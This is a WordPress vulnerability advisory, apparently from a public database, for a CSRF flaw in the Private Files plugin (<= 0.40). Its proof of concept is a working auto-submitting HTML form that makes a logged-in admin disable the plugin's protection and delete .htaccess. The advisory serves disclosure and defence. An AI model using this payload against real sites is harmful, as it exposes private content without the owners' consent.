WordPress Plugin Vulnerabilities
Private Files <= 0.40 - Protection Disabling via CSRF
Description
The plugin is missing CSRF check when disabling the protection, which could allow attackers to make a logged in admin perform such action via a CSRF attack and make the blog public
Proof of Concept
<form id="test" action="https://example.com/wp-admin/tools.php?page=privatefiles.php" method="POST">
<input type="text" name="level" value="-1">
<input type="text" name="unprotect" value="Unprotect">
<input type="text" name="submit" value="true">
</form>
<script>
document.getElementById("test").submit();
</script>
That will also delete the .htaccess
Affects Plugins
No known fix References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-05-23 (about 1 years ago)
Added
2022-05-23 (about 1 years ago)
Last Updated
2023-02-16 (about 1 years ago)
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